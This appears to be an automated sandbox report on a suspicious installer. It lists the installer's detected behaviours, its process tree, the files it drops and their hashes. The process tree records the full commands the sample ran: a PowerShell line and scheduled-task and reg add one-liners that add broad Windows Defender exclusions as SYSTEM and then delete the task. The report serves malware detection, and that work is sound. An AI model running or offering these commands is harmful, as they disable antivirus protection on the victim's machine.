Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 05:40

General

  • Target
    install.2.0.10.exe
  • Size 30.5MB
  • Sample261024-gdb2lsxt9p
  • SHA256 394b037f2b2db612b9b345bfc646b9cbc426a4666d83eae59291ade9597593ee
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2748
  • C:\Users\Public\3rGuFo\Ar7B6a.exe
    "C:\Users\Public\3rGuFo\Ar7B6a.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2880
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3rGuFo\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3rGuFo\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4664
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2292
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:6088
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4120
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2888
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4084
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5612
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:6116
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1276
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4748
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5872
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:2116
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4232
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:712
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4472
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:3916
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1524
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5720
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5088
                      • C:\Users\Public\3rGuFo\Ar7B6a.exe
                        "C:\Users\Public\3rGuFo\Ar7B6a.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3488
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3rGuFo" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:4244
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5768
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:5784
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:4456

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 10a90bc4b787acd9aba6186c8239765ac1a084379a44361a3515370c4ee595e9
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 8d385c0931a5bafea01a056869b2d80bec56a60dfd585c6644c5ad5298764d80
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 a46c153524ffe9773fdc791ec881e52c29fa4abb906b342a88c4e25e7290f146
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 1a1c84c1d75ff956ec40dde33fbc4547774501daed094691833a4f373f12d3c8
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_vfwp0ycy.dtq.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vfwp0ycy.dtq.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              Ar7B6a.exe

                              • Path C:\Users\Public\3rGuFo\Ar7B6a.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\3rGuFo\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 d052385686fb5e11b6a5d69339ded611a2be69a3407abd65e8ae070a50dbfd68
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\3rGuFo\adoresd.dat
                              • Size 4.8MB
                              • SHA256 3a5b648adf0b6575d6107dbd6d96b96f3d17bf9a5881feecd123f3d14e4ebbca
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\3rGuFo\msadox.tb
                              • Size 8KB
                              • SHA256 6ce9dbd684f75f1902a8262d9fcc5ac9eea4982832ef3846ea7e738b0c74d122
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2748-0-0x00000000025D0000-0x00000000025DE000-memory.dmp

                              memory/2748-524-0x00000000025D0000-0x00000000025DE000-memory.dmp

                              memory/2748-525-0x00007FFDB1970000-0x00007FFDB1982000-memory.dmp

                              memory/2748-504-0x00007FFDB1970000-0x00007FFDB1982000-memory.dmp

                              memory/2748-2-0x00000000025E0000-0x00000000025EC000-memory.dmp

                              memory/2748-1-0x00000000025D0000-0x00000000025DE000-memory.dmp

                              memory/2880-606-0x000001EB7FC70000-0x000001EB7FC7A000-memory.dmp

                              memory/2880-600-0x000001EB7FCC0000-0x000001EB7FCE2000-memory.dmp

                              memory/2880-604-0x000001EB19FD0000-0x000001EB19FEE000-memory.dmp

                              memory/2880-605-0x000001EB19FF0000-0x000001EB1A0A2000-memory.dmp

                              memory/3488-576-0x00007FFD9F770000-0x00007FFD9FC8E000-memory.dmp

                              memory/3488-580-0x000002287C630000-0x000002287CF07000-memory.dmp

                              memory/3488-591-0x000002287C630000-0x000002287CF07000-memory.dmp

                              memory/3488-592-0x000002287C630000-0x000002287CF07000-memory.dmp

                              memory/3488-593-0x000002287C630000-0x000002287CF07000-memory.dmp

                              memory/3488-594-0x00007FFDBA330000-0x00007FFDBA332000-memory.dmp

                              memory/3488-590-0x000002287C630000-0x000002287CF07000-memory.dmp

                              memory/3488-586-0x000002287C630000-0x000002287CF07000-memory.dmp

                              memory/3488-585-0x00007FFDBA340000-0x00007FFDBA342000-memory.dmp

                              memory/5260-564-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-558-0x00000110C28F0000-0x00000110C293E000-memory.dmp

                              memory/5260-538-0x00007FFDBA340000-0x00007FFDBA342000-memory.dmp

                              memory/5260-545-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-546-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-544-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-567-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-566-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-556-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-550-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-559-0x00000110C40C0000-0x00000110C414A000-memory.dmp

                              memory/5260-560-0x00000110C40C0000-0x00000110C414A000-memory.dmp

                              memory/5260-561-0x00000110C40C0000-0x00000110C414A000-memory.dmp

                              memory/5260-562-0x00000110C40C0000-0x00000110C414A000-memory.dmp

                              memory/5260-539-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-543-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-536-0x00000110C3350000-0x00000110C3C27000-memory.dmp

                              memory/5260-531-0x00007FFD9F770000-0x00007FFD9FC8E000-memory.dmp

                              memory/5260-530-0x00007FFDBA330000-0x00007FFDBA332000-memory.dmp